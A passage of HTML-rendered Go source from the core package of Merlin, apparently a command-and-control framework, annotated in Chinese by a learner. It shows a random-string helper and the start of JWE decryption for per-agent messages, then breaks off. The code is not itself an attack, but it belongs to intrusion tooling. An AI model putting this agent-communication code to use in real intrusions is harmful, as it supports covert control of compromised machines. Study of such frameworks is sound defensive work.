role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// the Free Software Foundation, either version 3 of the License, or</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// any later version.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Merlin is distributed in the hope that it will be useful,</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// but WITHOUT ANY WARRANTY; without even the implied warranty of</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// GNU General Public License for more details.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// You should have received a copy of the GNU General Public License</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// along with Merlin.  If not, see &lt;<a href="http://www.gnu.org/licenses/" target="_blank">http://www.gnu.org/licenses/</a>&gt;.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">package</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">core</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">import</span> (</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Standard     引用的官方库文件</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;bytes&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;crypto/rsa&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;encoding/gob&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;fmt&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;math/rand&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;os&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;time&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// 3rd Party     引用第三方库</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;gopkg.in/square/go-jose.v2&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Merlin</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;github.com/Ne0nd0g/merlin/pkg/messages&#34;</span>          <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//引用本项目messages</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Debug puts Merlin into debug mode and displays debug messages</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">var</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Debug</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">false</span>   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//关闭调试模式</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Verbose puts Merlin into verbose mode and displays verbose messages</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">var</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Verbose</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">false</span>  <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//关闭详细信息输出</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// CurrentDir is the current directory where Merlin was executed from</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">var</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">CurrentDir</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">_</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">os</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Getwd</span>()            <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//获取当前路径</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">var</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">src</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">rand</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">NewSource</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">time</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Now</span>()<span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">UnixNano</span>())           <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//使用当前时间戳作为随机数种子</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Constants</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">const</span> (</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">letterIdxBits</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">6</span>                    <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// 6 bits to represent a letter index</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">letterIdxMask</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;&lt;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">letterIdxBits</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// All 1-bits, as many as letterIdxBits letteridmask = letterIdxBits右移一位-1即63</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">letterIdxMax</span>  <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">63</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">letterIdxBits</span>   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// # of letter indices fitting in 63 bits  63/6=10</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">letterBytes</span>   <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// RandStringBytesMaskImprSrc generates and returns a  //random string of n characters long </span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">func</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">RandStringBytesMaskImprSrc</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">n</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">int</span>) <span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span> {        <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//生成n个字节长度的随机字符</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// <a href="http://stackoverflow.com/questions/22892120/how-to-generate-a-random-string-of-a-fixed-length-in-golang" target="_blank">http://stackoverflow.com/questions/22892120/how-to-generate-a-random-string-of-a-fixed-length-in-golang</a></span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">b</span> :<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">make</span>([]<span style="box-sizing: border-box;color: rgb(119, 0, 136);">byte</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">n</span>)           <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//b为长度n的byte 数组</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// A src.Int63() generates 63 random bits, enough for letterIdxMax characters!</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//src.Int63() 生成 63 个随机位，足以容纳 letterIdxMax 个字符</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//Int63n从默认Source返回[0，n）中的非负伪随机数作为int64</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//int64是64位有符号整数类型。这意味着它具有1个符号位和63个有效位。这意味着任何返回非负 int64的东西都会产生63位数据（第64位（符号位）将始终具有相同的值）</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                                               </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">i</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">cache</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">remain</span> :<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">n</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">src</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Int63</span>(), <span style="box-sizing: border-box;color: rgb(0, 0, 0);">letterIdxMax</span>; <span style="box-sizing: border-box;color: rgb(0, 0, 0);">i</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>; {  <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//i位n个字符数组下标，cache为随机数，remain=10</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">remain</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">==</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">cache</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">remain</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">src</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Int63</span>(), <span style="box-sizing: border-box;color: rgb(0, 0, 0);">letterIdxMax</span>                 <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// cache为19位数字 </span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span>}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">idx</span> :<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">int</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">cache</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">letterIdxMask</span>); <span style="box-sizing: border-box;color: rgb(0, 0, 0);">idx</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">len</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">letterBytes</span>) {  <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//按位与生成63以内数字，且数字在随机字符集下标内，为随机字符数组对应下标字符赋值</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">b</span>[<span style="box-sizing: border-box;color: rgb(0, 0, 0);">i</span>] <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">letterBytes</span>[<span style="box-sizing: border-box;color: rgb(0, 0, 0);">idx</span>] </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">i</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">--</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span>}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">cache</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;&gt;=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">letterIdxBits</span>                                       <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//cache = cache&gt;&gt;6 cache向右位移6位，用新的6位随机数去相与，共64位</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">remain</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">--</span>                                                         <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//10次用尽生成新的随机数</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">b</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// DecryptJWE takes provided JWE string and decrypts it using the per-agent key 对jwe秘钥进行解密</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">func</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DecryptJWE</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">jweString</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">key</span> []<span style="box-sizing: border-box;color: rgb(119, 0, 136);">byte</span>) (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">messages</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Base</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">error</span>) {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">var</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">m</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">messages</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Base</span>    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">/*    type Base struct {</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">Version float32     `json:&#34;version&#34;`</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">ID      uuid.UUID   `json:&#34;id&#34;`</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">Type    int         `json:&#34;type&#34;`</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">Payload interface{} `json:&#34;payload,omitempty&#34;`</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">Padding string      `json:&#34;padding&#34;`</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">Token   string      `json:&#34;token,omitempty&#34;`</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">}</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(170, 85, 0);">message.base struct结构</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">*/</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Parse JWE string back into JSONWebEncryption</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">jwe</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errObject</span> :<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jose</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">ParseEncrypted</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">jweString</span>)                        <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//go-jose加密解密包，解析（反序列化？）输入的jwe加密字符串</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errObject</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">m</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fmt</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Errorf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;there was an error parseing the JWE string into a JSONWebEncryption object:\r\n%s&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errObject</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Decrypt the JWE</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">jweMessage</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errDecrypt</span> :<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jwe</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Decrypt</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">key</span>)                         <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//对解析过的反序列化对象串根据输入的key进行解密</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errDecrypt</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">m</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fmt</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Errorf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;there was an error decrypting the JWE string:\r\n%s&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errDecrypt</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Error</span>())</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Decode the JWE payload into a messages.Base struct</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">errDecode</span> :<span style="box-sizing: border-box;color: 